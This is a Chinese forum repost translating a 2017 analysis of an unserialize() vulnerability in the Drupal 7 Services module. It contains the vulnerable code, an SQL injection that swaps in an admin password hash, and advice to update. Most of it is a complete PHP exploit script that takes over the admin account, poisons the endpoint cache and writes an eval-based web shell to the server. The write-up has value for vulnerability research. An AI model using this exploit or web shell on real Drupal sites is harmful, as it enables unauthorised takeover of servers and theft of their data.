-
-
[翻译]drupal 7.x RCE 漏洞分析 附EXP
-
发表于: 2017-3-30 08:08 9866
-
知乎原文 https://zhuanlan.zhihu.com/p/2600046
专栏传送门 Linso的混元随笔 - 知乎专栏
Services模块
Services是“构建API的标准化解决方案,以便外部客户可以与Drupal通信”。基本上,它允许任何人构建SOAP,REST或XMLRPC端点,以多种输出格式发送和获取信息。它目前是Drupal最常用的第150个插件,其中大约有45.000个活跃站点。
服务允许使用不同的资源创建不同的端点,从而允许以面向API的方式与网站及其内容进行交互。比如,可以使/user/login资源通过JSON或XML进行登录这样。
Reply:
模块有一个特点是可以通过更改Content-Type/ Accept头来控制输入/输出的格式。在默认情况下,允许使用以下输入格式:
对于没有遇到过最后一个格式的人来说,它是PHP序列化数据的类型。我们再试一次
如上可知我们确实面临着一个的unserialize()漏洞。
那么该怎么办呢?
来源和sinks
即使Drupal缺少直观的unserialize()小工具,服务中可用的众多端点与发送序列化数据的能力相结合,也提供了很多漏洞利用方式:用户提交的数据可以在SQL查询中执行结果,我们的开发重点是/user/login,因为它是我们最常用的客户端。只要PHP反序列化被激活,它就可以构建一个适用于任何URL的RCE有效载荷。
SQL注入
像通常使用基于unserialize()的错误一样,框架的downfall来自于自身的功能。实际上,像我们通常提交的基本类型,比如API,API提供了通过给它一个实现Drupal的对象来创建子查询的可能性SelectQueryInterface。
该对象的字符串表达形式直接用于查询,这可能会引发SQL注入。
需要不同的条件$username:
SelectQueryExtender,实施SelectQueryInterface仅有的两个对象中的一个,是指环绕一个标准的SelectQuery对象。其$ query属性包含所述对象。当调用SelectQueryExtender的compile()和__toString()时,将使用调用基础对象的方法。
我们可以使用这个类作为任何其他类的“代理”:这允许我们通过第一个条件。
-DatabaseCondition对象满足最后两个条件:出于性能原因,它具有一个stringVersion属性,该属性在编译后意味着包含了其字符串的表达形式。
由此可以进行SQL注入。最有效的利用方式是使用UNION来取得其中一个管理员账户,并且替换他的密码哈希,以便成功完成哈希对比。
我们还可以将其他数据库的数据存储在其他字段中,例如将管理员的原始散列放在他的签名中。
我们现在以管理员的身份登录,现在可以从数据库中读取任何内容。
Drupal安全小组花了40分钟来审查我们的报告,并提出了修改后的补丁。该咨询以及新版本于03/08/2017(服务 - 关键 - 任意代码执行 - SA-CONTRIB-2017-029)发布。
如果你正在使用此模块存在漏洞的版本,请尽快更新。如果无法更新,我们建议你禁用在Drupal服务设置中的应用程序/ vnd.php.serialized。
以下漏洞利用文件将两个漏洞利用相结合,以执行本地提权,SQL注入和RCE。
利用完全是不被记录的,但是,必须找到端点URL。
原文地址 Drupal 7.x Services module unserialize() to RCE
知乎原文 https://zhuanlan.zhihu.com/p/2600046
专栏传送门 Linso的混元随笔 - 知乎专栏
0x00 前言
在审计Drupal的服务模块后发现Ambionics团队对此进行了不安全的使用 unserialize()。利用漏洞可以进行提权,SQL注入,最后执行远程代码。
0x01 正文
Services模块
Services是“构建API的标准化解决方案,以便外部客户可以与Drupal通信”。基本上,它允许任何人构建SOAP,REST或XMLRPC端点,以多种输出格式发送和获取信息。它目前是Drupal最常用的第150个插件,其中大约有45.000个活跃站点。
服务允许使用不同的资源创建不同的端点,从而允许以面向API的方式与网站及其内容进行交互。比如,可以使/user/login资源通过JSON或XML进行登录这样。
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/json
Content-Length: 45
Connection: close
{"username": "admin", "password": "password"}
Reply:
HTTP/1.1 200 OK
Date: Thu, 02 Mar 2017 13:58:02 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Vary: Accept
Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw; expires=Sat, 25-Mar-2017 17:31:22 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly
Content-Length: 635
Connection: close
Content-Type: application/json
{"sessid":"AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"8TSDrnyPQ3J9VI8G1dtNwc6BAQ_ORp3Ok_VSrdKht00","user":{"uid":"1","name":"admin","mail":"admin@vmweb.lan","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488463053","login":1488463082,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"admin@vmweb.lan","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}
Vulnerability
模块有一个特点是可以通过更改Content-Type/ Accept头来控制输入/输出的格式。在默认情况下,允许使用以下输入格式:
- application/xml
- application/json
- multipart/form-data
- application/vnd.php.serialized
对于没有遇到过最后一个格式的人来说,它是PHP序列化数据的类型。我们再试一次
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/vnd.php.serialized
Content-Length: 45
Connection: close
a:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";}
HTTP/1.1 200 OK
Date: Thu, 02 Mar 2017 14:29:54 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Vary: Accept
Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I; expires=Sat, 25-Mar-2017 18:03:14 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly
Content-Length: 635
Connection: close
Content-Type: application/json
{"sessid":"ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"2tFysvDt1POl7jjJJSCRO7sL1rvlrnqtrik6gljggo4","user":{"uid":"1","name":"admin","mail":"admin@vmweb.lan","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488464867","login":1488464994,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"admin@vmweb.lan","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}
如上可知我们确实面临着一个的unserialize()漏洞。
<?php
function rest_server_request_parsers() {
static $parsers = NULL;
if (!$parsers) {
$parsers = array(
'application/x-www-form-urlencoded' => 'ServicesParserURLEncoded',
'application/json' => 'ServicesParserJSON',
'application/vnd.php.serialized' => 'ServicesParserPHP',
'multipart/form-data' => 'ServicesParserMultipart',
'application/xml' => 'ServicesParserXML',
'text/xml' => 'ServicesParserXML',
);
}
}
class ServicesParserPHP implements ServicesParserInterface {
public function parse(ServicesContextInterface $context) {
return unserialize($context->getRequestBody());
}
}
那么该怎么办呢?
Exploitation
来源和sinks
即使Drupal缺少直观的unserialize()小工具,服务中可用的众多端点与发送序列化数据的能力相结合,也提供了很多漏洞利用方式:用户提交的数据可以在SQL查询中执行结果,我们的开发重点是/user/login,因为它是我们最常用的客户端。只要PHP反序列化被激活,它就可以构建一个适用于任何URL的RCE有效载荷。
SQL注入
<?php
$user = db_select('users', 'base') # Table: users Alias: base
->fields('base', array('uid', 'name', ...)) # Select every field
->condition('base.name', $username) # Match the username
->execute(); # Build and run the query
像通常使用基于unserialize()的错误一样,框架的downfall来自于自身的功能。实际上,像我们通常提交的基本类型,比如API,API提供了通过给它一个实现Drupal的对象来创建子查询的可能性SelectQueryInterface。
<?php
class DatabaseCondition implements QueryConditionInterface, Countable {
public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
if ($condition['value'] instanceof SelectQueryInterface) {
$condition['value']->compile($connection, $queryPlaceholder);
$placeholders[] = (string) $condition['value'];
$arguments += $condition['value']->arguments();
// Subqueries are the actual value of the operator, we don't
// need to add another below.
$operator['use_value'] = FALSE;
}
}
}
该对象的字符串表达形式直接用于查询,这可能会引发SQL注入。
需要不同的条件$username:
- 必须实现SelectQueryInterface
- 必须实现compile()
- 字符串表示必须由我们控制
SelectQueryExtender,实施SelectQueryInterface仅有的两个对象中的一个,是指环绕一个标准的SelectQuery对象。其$ query属性包含所述对象。当调用SelectQueryExtender的compile()和__toString()时,将使用调用基础对象的方法。
<?php
class SelectQueryExtender implements SelectQueryInterface {
/**
* The SelectQuery object we are extending/decorating.
*
* @var SelectQueryInterface
*/
# Note: Although this expects a SelectQueryInterface, this is never enforced
protected $query;
public function __toString() {
return (string) $this->query;
}
public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
return $this->query->compile($connection, $queryPlaceholder);
}
}
我们可以使用这个类作为任何其他类的“代理”:这允许我们通过第一个条件。
-DatabaseCondition对象满足最后两个条件:出于性能原因,它具有一个stringVersion属性,该属性在编译后意味着包含了其字符串的表达形式。
<?php
class DatabaseCondition implements QueryConditionInterface, Countable {
protected $changed = TRUE;
protected $queryPlaceholderIdentifier;
public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
// Re-compile if this condition changed or if we are compiled against a
// different query placeholder object.
if ($this->changed || isset($this->queryPlaceholderIdentifier) && ($this->queryPlaceholderIdentifier != $queryPlaceholder->uniqueIdentifier())) {
$this->changed = FALSE;
$this->stringVersion = implode($conjunction, $condition_fragments);
}
}
public function __toString() {
// If the caller forgot to call compile() first, refuse to run.
if ($this->changed) {
return NULL;
}
return $this->stringVersion;
}
}
由此可以进行SQL注入。最有效的利用方式是使用UNION来取得其中一个管理员账户,并且替换他的密码哈希,以便成功完成哈希对比。
# Original Query
SELECT
..., base.name AS name, base.pass AS pass, base.mail AS mail, ...
FROM
{users}
WHERE
(name =
# Injection starts here
0x3a)
UNION SELECT
..., base.name AS name, '$S$DfX8LqsscnDutk1tdqSXgbBTqAkxjKMSWIfCa7jOOvutmnXKUMp0' AS pass, base.mail AS mail, ...
FROM
{users}
ORDER BY (uid
# Injection ends here
);
我们还可以将其他数据库的数据存储在其他字段中,例如将管理员的原始散列放在他的签名中。
我们现在以管理员的身份登录,现在可以从数据库中读取任何内容。
修复
Drupal安全小组花了40分钟来审查我们的报告,并提出了修改后的补丁。该咨询以及新版本于03/08/2017(服务 - 关键 - 任意代码执行 - SA-CONTRIB-2017-029)发布。
如果你正在使用此模块存在漏洞的版本,请尽快更新。如果无法更新,我们建议你禁用在Drupal服务设置中的应用程序/ vnd.php.serialized。
利用
以下漏洞利用文件将两个漏洞利用相结合,以执行本地提权,SQL注入和RCE。
#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
# along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
#
# Initialization
error_reporting(E_ALL);
define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');
$url = 'http://vmweb.lan/drupal-7.54';
$endpoint_path = '/rest_endpoint';
$endpoint = 'rest_endpoint';
$file = [
'filename' => 'dixuSOspsOUU.php',
'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
];
$browser = new Browser($url . $endpoint_path);
# Stage 1: SQL Injection
class DatabaseCondition
{
protected $conditions = [
"#conjunction" => "AND"
];
protected $arguments = [];
protected $changed = false;
protected $queryPlaceholderIdentifier = null;
public $stringVersion = null;
public function __construct($stringVersion=null)
{
$this->stringVersion = $stringVersion;
if(!isset($stringVersion))
{
$this->changed = true;
$this->stringVersion = null;
}
}
}
class SelectQueryExtender {
# Contains a DatabaseCondition object instead of a SelectQueryInterface
# so that $query->compile() exists and (string) $query is controlled by us.
protected $query = null;
protected $uniqueIdentifier = QID;
protected $connection;
protected $placeholder = 0;
public function __construct($sql)
{
$this->query = new DatabaseCondition($sql);
}
}
$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query =
"0x3a) UNION SELECT ux.uid AS uid, " .
"ux.name AS name, '$password_hash' AS pass, " .
"ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
"ux.pass AS signature_format, ux.created AS created, " .
"ux.access AS access, ux.login AS login, ux.status AS status, " .
"ux.timezone AS timezone, ux.language AS language, ux.picture " .
"AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
"WHERE ux.uid<>(0"
;
$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);
$json = $browser->post(TYPE_PHP, $data);
# If this worked, the rest will as well
if(!isset($json->user))
{
print_r($json);
e("Failed to login with fake password");
}
# Store session and user data
$session = [
'session_name' => $json->session_name,
'session_id' => $json->sessid,
'token' => $json->token
];
store('session', $session);
$user = $json->user;
# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);
# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);
store('user', $user);
if($cache === false)
{
e("Unable to obtains endpoint's cache value");
}
x("Cache contains " . sizeof($cache) . " entries");
# Stage 2: Change endpoint's behaviour to write a shell
class DrupalCacheArray
{
# Cache ID
protected $cid = "services:endpoint_name:resources";
# Name of the table to fetch data from.
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
protected $bin = 'cache';
protected $keysToPersist = [];
protected $storage = [];
function __construct($storage, $endpoint, $controller, $action) {
$settings = [
'services' => ['resource_api_version' => '1.0']
];
$this->cid = "services:$endpoint:resources";
# If no endpoint is given, just reset the original values
if(isset($controller))
{
$storage[$controller]['actions'][$action] = [
'help' => 'Writes data to a file',
# Callback function
'callback' => 'file_put_contents',
# This one does not accept "true" as Drupal does,
# so we just go for a tautology
'access callback' => 'is_string',
'access arguments' => ['a string'],
# Arguments given through POST
'args' => [
0 => [
'name' => 'filename',
'type' => 'string',
'description' => 'Path to the file',
'source' => ['data' => 'filename'],
'optional' => false,
],
1 => [
'name' => 'data',
'type' => 'string',
'description' => 'The data to write',
'source' => ['data' => 'data'],
'optional' => false,
],
],
'file' => [
'type' => 'inc',
'module' => 'services',
'name' => 'resources/user_resource',
],
'endpoint' => $settings
];
$storage[$controller]['endpoint']['actions'] += [
$action => [
'enabled' => 1,
'settings' => $settings
]
];
}
$this->storage = $storage;
$this->keysToPersist = array_fill_keys(array_keys($storage), true);
}
}
class ThemeRegistry Extends DrupalCacheArray {
protected $persistable;
protected $completeRegistry;
}
cache_poison($endpoint, $cache);
# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));
# Stage 3: Restore endpoint's behaviour
cache_reset($endpoint, $cache);
if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
{
e("Failed to write file.");
}
$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");
# HTTP Browser
class Browser
{
private $url;
private $controller = CONTROLLER;
private $action = ACTION;
function __construct($url)
{
$this->url = $url;
}
function post($type, $data)
{
$headers = [
"Accept: " . TYPE_JSON,
"Content-Type: $type",
"Content-Length: " . strlen($data)
];
$url = $this->url . '/' . $this->controller . '/' . $this->action;
$s = curl_init();
curl_setopt($s, CURLOPT_URL, $url);
curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
curl_setopt($s, CURLOPT_POST, 1);
curl_setopt($s, CURLOPT_POSTFIELDS, $data);
curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
$output = curl_exec($s);
$error = curl_error($s);
curl_close($s);
if($error)
{
e("cURL: $error");
}
return json_decode($output);
}
}
# Cache
function cache_poison($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
cache_edit($tr);
}
function cache_reset($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, null, null);
cache_edit($tr);
}
function cache_edit($tr)
{
global $browser;
$data = serialize([$tr]);
$json = $browser->post(TYPE_PHP, $data);
}
# Utils
function x($message)
{
print("$message\n");
}
function e($message)
{
x($message);
exit(1);
}
function store($name, $data)
{
$filename = "$name.json";
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
x("Stored $name information in $filename");
}
利用完全是不被记录的,但是,必须找到端点URL。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课